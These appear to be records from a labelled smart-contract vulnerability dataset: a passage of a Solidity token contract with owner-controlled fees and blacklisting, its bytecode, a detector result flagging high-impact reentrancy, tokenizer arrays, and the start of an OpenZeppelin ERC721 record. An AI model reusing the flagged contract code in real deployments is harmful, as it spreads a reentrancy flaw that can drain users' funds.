_swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b057600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600a81526954697474657220496e7560b01b60208201525b60405161023a9190611a24565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a79565b61069a565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa5565b6106b1565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae6565b61071a565b34801561036e57600080fd5b506101fc61037d366004611b13565b610765565b34801561038e57600080fd5b506101fc6107ad565b3480156103a357600080fd5b506102c26103b2366004611ae6565b6107f8565b3480156103c357600080fd5b506101fc61081a565b3480156103d857600080fd5b506101fc6103e7366004611b2e565b61088e565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae6565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b13565b6108bd565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600481526354494e5560e01b602082015261022d565b3480156104bc57600080fd5b506101fc6104cb366004611b2e565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b47565b610934565b3480156104fc57600080fd5b5061026361050b366004611a79565b610972565b34801561051c57600080fd5b5061026361052b366004611ae6565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b79565b6109d3565b34801561058157600080fd5b506102c2610590366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2e565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae6565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c36565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c97565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c36565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c36565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c36565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c36565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c6b565b9050602002016020810190610a349190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c97565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c36565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c36565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb2565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611ce1565b816001815181106113cc576113cc611c6b565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611733565b6001600160a01b0389166000908152600260205260409020556115c481611792565b6115ce84836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164182826114bf565b82101561165d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149c565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117408385611cb2565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179c61149c565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114bf565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ab565b60006118c08385611d91565b9050826118cd8583611d6f565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112de8161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112de82611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112de8161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220759e34bb20519d3f53aac4289f8cfd18ba8274b486125706d230e580a7cb8c1664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 19317, 2581, 2497, 2620, 2683, 2278, 2549, 27421, 27814, 9818, 2581, 2094, 2683, 2497, 2692, 2094, 21472, 2497, 22610, 2629, 3401, 2683, 2575, 23833, 2549, 2497, 2549, 2278, 2575, 1013, 1008, 1008, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,326
0x9692a90cae405fee7fe257c59410b656394ddfe8
// File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev 